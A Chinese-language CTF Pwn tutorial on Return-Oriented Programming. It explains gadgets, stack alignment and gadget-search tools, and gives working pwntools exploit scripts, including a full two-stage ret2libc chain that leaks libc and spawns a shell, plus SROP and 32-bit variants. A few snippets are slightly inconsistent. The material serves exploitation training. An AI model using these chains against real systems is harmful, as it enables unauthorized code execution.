ROP基础
ROP基础
本文适合
CTF Pwn 入门学习者。学完你能:在 NX 开启时找到参数 gadget,完成 puts(puts@got) 泄露、libc 基址计算和 system("/bin/sh") 或 ORW 二阶段利用
ROP 是 Return-Oriented Programming,返回导向编程。它的核心思想是:不直接注入新代码,而是把程序或 libc 中已有的小片段拼成想要的行为。
为什么需要 ROP
早期栈溢出常把 shellcode 放到栈上,然后跳过去执行。
但 NX 保护开启后,栈和堆通常不可执行。攻击者即使能控制返回地址,也不能直接执行栈上的代码。
ROP 就是在 NX 存在时的一种绕过思路:既然不能执行新代码,就复用已有代码。
gadget 是什么
gadget 是一小段以 ret 结尾的指令序列,例如:
pop rdi
ret它可以从栈上弹出一个值到 rdi 寄存器,然后返回到下一个地址。
ROP 链就是把多个 gadget 地址和参数按顺序放在栈上。
64 位调用约定
在常见 x86-64 Linux 下,函数前几个参数通常放在寄存器里:
rdi 第 1 个参数
rsi 第 2 个参数
rdx 第 3 个参数所以调用 system("/bin/sh") 时,至少要让 rdi 指向字符串 "/bin/sh",然后跳到 system。
这就是为什么 pop rdi; ret 是入门 ROP 里非常常见的 gadget。
ROP 链长什么样
一个简化 ret2libc ROP 链可以理解为:
填充到返回地址
pop rdi; ret
"/bin/sh" 地址
system 地址函数返回时会先跳到 pop rdi; ret,把下一个值放进 rdi,再跳到 system。
栈对齐
64 位环境中,某些 libc 函数要求栈按 16 字节对齐。
如果远程崩溃但地址看起来都对,可能需要在 ROP 链前加一个单独的 ret gadget 调整栈对齐。
这不是玄学,而是 ABI 对栈对齐的要求。
gadget 搜索工具
手动找 gadget 效率很低,常用工具包括:
ROPgadget
# 搜索所有 gadget
ROPgadget --binary ./vuln
# 只找包含 pop rdi 的 gadget
ROPgadget --binary ./vuln | grep "pop rdi"
# 搜索 libc 中的 gadget
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6
# 只找 ret 指令
ROPgadget --binary ./vuln --only "ret"ropper
# 启动交互式搜索
ropper -f ./vuln
# 搜索特定指令
ropper -f ./vuln --search "pop rdi"
# 搜索 libc
ropper -f /lib/x86_64-linux-gnu/libc.so.6 --search "pop rdx"pwntools 自动搜索
from pwn import *
elf = ELF('./vuln')
# 自动查找 pop rdi; ret
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
print(rop.dump())pwntools ROP 类
pwntools 提供了 ROP 类来自动化 ROP 链构造:
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 构造 ROP 对象
rop = ROP(elf)
# 自动寻找 gadget 并设置参数
rop.call(elf.symbols['puts'], [elf.got['puts']])
rop.call(elf.symbols['main'])
# 输出 ROP 链
print(rop.dump())
# 获取字节流
payload = flat(b'A' * offset, rop.chain())使用 libc 的 ROP:
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop_libc = ROP(libc)
# 自动找 gadget
pop_rdi = rop_libc.find_gadget(['pop rdi', 'ret'])[0]
ret = rop_libc.find_gadget(['ret'])[0]
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))多阶段 ROP
很多题目需要多阶段 ROP:
第一阶段:泄露 libc 地址
# 第一次溢出:泄露 puts 的 GOT 地址
payload1 = flat(
b'A' * offset,
pop_rdi, # pop rdi; ret
elf.got['puts'], # puts 的 GOT 地址
elf.plt['puts'], # 调用 puts 打印
elf.symbols['main'] # 返回 main 再次触发
)
p.sendline(payload1)
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))第二阶段:计算 libc 基址并执行
# 计算 libc 基址
libc_base = leaked - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
# pop rdi 的机器码是 5f,ret 是 c3
# pop_rdi + 1 指向 ret 指令,用于栈对齐(ABI 要求 16 字节对齐)
ret = libc_base + pop_rdi + 1
# 第二次溢出:执行 system("/bin/sh")
payload2 = flat(
b'A' * offset,
ret, # 栈对齐
pop_rdi, # pop rdi; ret
bin_sh, # "/bin/sh" 地址
system # system 地址
)
p.sendline(payload2)ret2libc 变体
ret2libc1:程序自身包含 system 和 "/bin/sh" 字符串。
# 直接使用程序中的地址
system_addr = elf.symbols['system']
bin_sh_addr = next(elf.search(b'/bin/sh'))ret2libc2:程序有 system 但没有 "/bin/sh",需要手动写入。
# 用 gets 或 read 把 "/bin/sh" 写入 .bss
bss_addr = elf.bss() + 0x100
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
payload = flat(
b'A' * offset,
pop_rdi,
bss_addr,
elf.plt['gets'],
pop_rdi,
bss_addr,
elf.symbols['system']
)ret2libc3:程序只有 puts@plt,需要先泄露再计算。
# 两阶段:泄露 libc -> 计算地址 -> 再次利用
# 见上面多阶段 ROP 的例子64 位完整 ROP 示例
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./vuln')
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 第一阶段:泄露 libc
pop_rdi = 0x401234 # 从 ROPgadget 找到
ret = 0x401235
payload1 = b'A' * 72 # padding 到返回地址
payload1 += p64(pop_rdi) # pop rdi; ret
payload1 += p64(elf.got['puts']) # puts 的 GOT 地址
payload1 += p64(elf.plt['puts']) # 调用 puts
payload1 += p64(elf.symbols['main']) # 返回 main
p.sendlineafter(b'input:', payload1)
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f'leaked puts: {hex(leaked)}')
# 计算 libc 基址
libc_base = leaked - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
# 第二阶段:get shell
payload2 = b'A' * 72
payload2 += p64(ret) # 栈对齐
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)
p.sendlineafter(b'input:', payload2)
p.interactive()32 位 ROP 差异
32 位程序参数通过栈传递,不需要 pop rdi 类 gadget:
from pwn import *
context.arch = 'i386'
# 32 位参数直接放栈上
payload = b'A' * offset
payload += p32(elf.plt['system']) # 返回到 system
payload += p32(0) # system 的返回地址(随意)
payload += p32(next(elf.search(b'/bin/sh'))) # 第一个参数ROP 常见绕过技巧
栈对齐:某些 libc 函数要求 16 字节对齐,在 ROP 链前加一个 ret gadget。
SROP(Signal Return):利用 rt_sigreturn 系统调用一次性设置所有寄存器。
from pwn import *
# SROP 示例
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = bin_sh_addr
frame.rip = syscall_ret
payload = flat(b'A' * offset, sigreturn_gadget, frame)ret2csu:利用 __libc_csu_init 中的通用 gadget 控制多个寄存器。
常见误区
- 以为 ROP 就是复制一串 payload。
- 不理解参数为什么放进
rdi。 - 忘记 NX 开启时不能直接跑栈上 shellcode。
- 远程失败时只怀疑地址,不检查栈对齐。
- 不区分程序内 gadget 和 libc gadget。
一句话判断
你已经能覆盖返回地址,但 NX 开启导致栈上 shellcode 不能执行,或者目标函数需要设置参数时,就要用 ROP 拼接已有代码片段完成调用。
ROP 的核心不是“找很多 gadget”,而是按调用约定把参数、函数地址和返回路径排成一条可执行链。
题目中常见信号
checksec显示 NX enabled。- 栈溢出能控制 RIP,但直接跳栈失败。
- 程序有
puts@plt、read@plt、system@plt等可复用函数。 - 需要泄露 libc 地址后再二次利用。
- 需要控制
rdi、rsi、rdx等参数寄存器。 - 远程崩溃位置在 libc 内部,可能是栈对齐问题。
核心概念
ROP 链的最小组成:
padding 到返回地址
gadget 地址
gadget 需要弹出的参数
下一个 gadget 或函数地址在 x86-64 Linux 上,最常见的函数调用链是:
pop rdi; ret
第 1 个参数
目标函数地址如果要调用 puts(puts@got) 泄露地址,就是:
pop rdi; ret
puts@got
puts@plt
main返回 main 是为了重新触发漏洞,做第二阶段利用。
最小分析流程
- 确认能覆盖返回地址并得到 offset。
- 用
checksec判断 NX、PIE、Canary。 - 找可用函数:PLT、GOT、程序内
win、libc。 - 找参数 gadget:
pop rdi; ret、pop rsi; ret、pop rdx; ret。 - 构造第一阶段 ROP 泄露地址。
- 根据泄露计算 libc base。
- 构造第二阶段 ROP 调
system("/bin/sh")或 ORW。 - 如果崩溃,检查栈对齐、libc 版本、输入截断。
最小验证示例
搜索 gadget:
ROPgadget --binary ./vuln | rg "pop rdi|ret$"验证第一阶段泄露:
from pwn import *
elf = ELF("./vuln")
p = process("./vuln")
offset = 72
pop_rdi = 0x401233
payload = flat(
b"A" * offset,
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["main"],
)
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
log.info(f"puts leak = {hex(leak)}")成功标准:泄露值像 libc 地址,通常以 0x7f... 开头,并且多次运行在 ASLR 下低 12 bit 稳定。
常见利用 / 解题路线
路线总览:
路线一:ret2win + 参数
适合程序有 win(arg)。
offset -> pop rdi; ret -> 参数 -> win路线二:两阶段 ret2libc
适合 NX 开、无 win、可调用 puts。
阶段一:puts(puts@got) 泄露 libc
阶段二:system("/bin/sh")路线三:ORW
适合 seccomp 禁止 execve,但允许 open/read/write。
写入 "flag" -> open -> read -> write路线四:ret2csu
适合缺少普通 pop rdi/rsi/rdx gadget。
利用 __libc_csu_init 控制 rdi/rsi/rdx 并调用目标函数关联:ret2csu基础。
路线五:SROP
适合能触发 sigreturn,并且有 syscall; ret。
构造 SigreturnFrame 一次性控制所有寄存器关联:SROP基础。
常见失败原因
- offset 错:ROP 链没有从返回地址开始执行。
- PIE 没处理:程序地址随机化时,PLT/gadget 地址不能直接用本地固定值。
- libc 版本不一致:泄露和计算必须使用远程对应 libc。
- 栈未对齐:
system崩在 libc 内部时,常在链前加一个ret。 - 参数寄存器错:Linux x64 用 RDI/RSI/RDX,Windows x64 用 RCX/RDX/R8/R9。
- GOT/PLT 概念混淆:泄露用 GOT 地址作为参数,调用用 PLT 地址。
- 只泄露不回主函数:没有第二次输入机会,链路断掉。
迷你案例
题目保护:
NX enabled
Canary disabled
No PIE程序有栈溢出,没有 win()。目标是 ret2libc。
第一阶段:
payload1 = flat(
b"A" * 72,
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["main"],
)输出泄露:
puts leak = 0x7f2a1c...第二阶段:
libc_base = leak - libc.symbols["puts"]
system = libc_base + libc.symbols["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
ret = 0x40101a
payload2 = flat(
b"A" * 72,
ret,
pop_rdi,
binsh,
system,
)WP 里要写清楚:
NX 开启,所以不执行栈上 shellcode
第一阶段泄露 puts@got
用 libc 偏移计算 system 和 /bin/sh
第二阶段按 x64 调用约定设置 rdi